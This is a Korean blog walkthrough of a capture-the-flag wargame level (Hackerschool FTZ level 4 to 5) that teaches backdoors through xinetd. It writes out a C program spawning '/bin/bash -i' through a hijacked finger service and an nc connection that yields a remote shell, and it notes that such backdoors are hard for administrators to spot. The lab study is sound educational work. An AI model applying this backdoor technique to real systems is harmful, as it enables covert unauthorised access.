■ Level4 -> Level5
목적
xinetd 방식(원격 백도어)
xinetd 방식에 대한 이해
(용어) 로컬백도어/원격백도어
원격에서 백도어를 이용해 권한을 얻어낼 때 xinetd 방식을 사용한다.
■ Level5 문제에 도전하기
-> ID/PASS : level4/suck my brain
hint를 살펴보면
$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
|
백도어란?
시스템 관리자가 일부러 열어 놓은 시스템의 보안 구멍이다.
처음에 백도어가 나오게 된 계기는 회사원들이 퇴근을 하고 원격으로 회사의 업무를 하기 위해
만들어 졌다고 한다. 하지만 해커들은 이것을 악용하여 공격을 위한 뒷문을 만들어 두는 것이다.
xinetd.d란?
리눅스 부팅 과정이 진행되면서 네트워크 데몬도 가동되는데 이를 수행하는 것이 xinetd 슈퍼 데몬 이다.
네트워크 데몬은 FTP,텔넷,SSH,아파치 등과 같은 네트워크 통신을 위한 데몬을 말한다.
xinetd는 이들의 부모 프로세스가 된다.
힌트 경로로 들어가본다.
$ cd /etc/xinetd.d ; ls -l
-rw-r----- 1 root level4 171 Dec 8 2003 backdoor |
[참고]
$ export LANG=C
$ /sbin/chkconfig --list | sed -n '/xinetd based/,$p' | grep -w on
의심스러운 파일을 발견했고 안에 내용을 확인한다.
$ cat /etc/xinetd.d/backdoor
service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID } |
=> 과거에 finger을 이용해 backdoor을 많이 만들었다.
finger service를 사용하면 level5의 권한으로 /home/level4/tmp/backdoor를 실행한다.
고로 backdoor를 설정하면 level5의 권한으로 system 명령을 사용하여 쉘을 얻을 수 있다.
service finger
반드시 /etc/services 파일에 들어 있는 이름이어야 한다.(반드시 서비스 이름과 포트가 매핑되어야 한다.)
# cat /etc/services | grep finger
disable = no 데몬을 비활성화하지 않음, disable = yes로 설정되면 해당 서비스를 기동하지 않음서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장.
flags = REUSE서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가
socket_type = streamTCP/IP 프로토콜을 선택
wait = no이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답함, 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미.
user = root해당 데몬이 root 계정의 권한으로 실행됨
server = /usr/bin/in.fingerdxinetd에 의해 실행될 데몬 파일
log_on_failure += USERID정상적인 기동에 실패한 경우 USERID를 로그에 기록
finger 사용자에 대한 정보를 확인하는 명령어(xinetd방식) # man finger NAME finger - user information lookup grogram
서비스 통신방식 finger --------------------> fingerd 평문 직접통신
ftp ftpd user01 ----->user user01 ----> user01 ----->pass user01 ----> telnet telnetd ls -----> ls -----> user01 -----> user01 ----->
telnet은 finger와 같이 명령어를 변환하지 않고 그대로 전송하는 방식이다. Telnet은 nc로 대체할 수 있다. *nc(netcat) CMD 명령어를 변환하지 않고 그대로 전송하는 방식 클라이언트/서버 모듈 @nc Server nc -l : 대기상태(listening) $ nc -l 1234 @nc Client nc <IP> <port> 데이터 전송시 사용(채팅 서비스) 넷켓 참고 사이트 http://devanix.tistory.com/307
|
$ cat /etc/services | grep finger (finger port : 79)
finger 79/tcp finger 79/udp cfinger 2003/tcp # GNU Finger |
$ netstat -an | grep :79 ($ netstat -an, $ netstat -an| grep finger)
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN |
79번 포트는 LISTEN으로 포트가 열려있고
23번은 ESTABLISHED로 되어있다. 현재 FTZ를 Telnet으로 연결해서 사용하고 있기 때문이다.
cat /etc/xinetd.d/backdoor에 server경로인 /home/level4/tmp/backdoor 경로를 확인한다.
$ ls -l /home/level4/tmp/backdoor
ls: /home/level4/tmp/backdoor: 그런 파일이나 디렉토리가 없음 |
$ finger level4@localhost
정상적으로 실행되지 않는다.
backdoor라는 이름의 파일을 만들기 위해 vi 편집기를 이용해 C script를 작성한다.(공격용 파일)
$ cd ~/tmp ($ vi /home/level4/tmp/backdoor)
$ vi backdoor.c
#include<stdlib.h>
int main() { system("cat /home/level4/hint"); system("id"); } |
$ gcc -o backdoor backdoor.c
$ finger level4@localhost
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.! /* system("cat /home/level4/hint"); */
uid=3005(level5) gid=3005(level5) /* system("id"); */ |
확인해본 결과 level5의 권한으로 잘 실행이 된다.
같은 방식으로 my-pass 혹은 쉘권한을 얻을 수 있다.
$ vi backdoor.c
#include<stdlib.h>
int main() { system("my-pass"); } |
$ finger level4@localhost
^[[H^[[J
|
backdoor 파일을 실행시켜 level5의 패스워드를 획득 할 수 있다.
하지만 이 단원의 목적은 원격 백도어 이기 때문에 다른 방식으로 시도해보자.
my-pass가 아닌 /bin/bash 를 통해 쉘을 얻는 방식을 사용해본다.
$ vi backdoor.c
#include<stdlib.h>
int main() { system("/bin/bash"); } |
$ finger level4@localhost
/bin/bash: line 1: level4 : command not found id my-pass
<CTRL + C> |
정상적으로 작동하지 않는다.
이것은 원격에서 nc 명령어를 사용하여 쉘을 얻을 수 있다.
nc는 telnet과 동일한 기능을 한다고 생각하면 된다.
일종의 채팅 기능을 하는 역할을 한다.
따라서 원격제어 nc(netcat)명령어를 사용한다.
FTZ server가 아닌 다른 server를 기동한다.
여기서는 Linux Server를 사용했다.
@Linux Server
# yum -y install nc
# rpm -qa | grep nc
# nc 119.64.191.205 79 (119.64.191.205 : FTZ System's IP)
id uid=3005(level5) gid=3005(level5) my-pass
Level5 Password is "what is your name?".
pwd / cd /etc cat passwd ..... (중략) ..... level15:x:3095:3095::/home/level15:/bin/bash level16:x:3096:3096::/home/level16:/bin/bash level17:x:3097:3097::/home/level17:/bin/bash level18:x:3098:3098::/home/level18:/bin/bash level19:x:3099:3099::/home/level19:/bin/bash level20:x:3100:3100::/home/level20:/bin/bash clear:x:3101:3101::/home/clear:/bin/bash exit |
쉘의 정상적인 동작을 하기 위해
vi backdoor.c 를 수정한다
@ FTZ Server
$ vi backdoor.c
#include <stdlib.h>
int main() { system("/bin/bash -i"); } |
/bin/bash -i 에서 -i 옵션은 대화형 모드 이다. 위 nc 명령어와 비교해 보면 좋다.
@Linux Server
# nc 119.64.191.205 79
bash: no job control in this shell stty: standard input: Invalid argument [level5@ftz /]$ hostname ftz.hackerschool.org [level5@ftz /]$ id uid=3005(level5) gid=3005(level5) [level5@ftz /]$ my-pass exit |
이로서 성공적인 백도어를 했다고 볼 수 있다.
xinetd 방식의 원격 백도어의 특성으로
서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기 어렵다는 점이 있다.
# service named start
# service named status
# pgrep -lf named (# ps -ef | grep named)
# chkconfig krb5-telnet on
# service xinetd restart
# pgrep -lf telnet
# netstat -antup | grep 53
# nmap localhost
원격 수행할 수 있는 명령어
# nmap -p 21 localhost
# telnet localhost 21
'Learning > └◆Reversing' 카테고리의 다른 글
[참고] ln 명령어의 대해서 (0) | 2017.01.28 |
---|---|
05_Level5 -> Level6[FTZ] 레이스 컨디션 스크립트 만들기 (0) | 2017.01.23 |
04_Level3 -> Level4[FTZ] system() 함수의 취약점 분석 (0) | 2017.01.20 |
03_level2 -> level3[FTZ] vi 편집기 백도어 (0) | 2017.01.19 |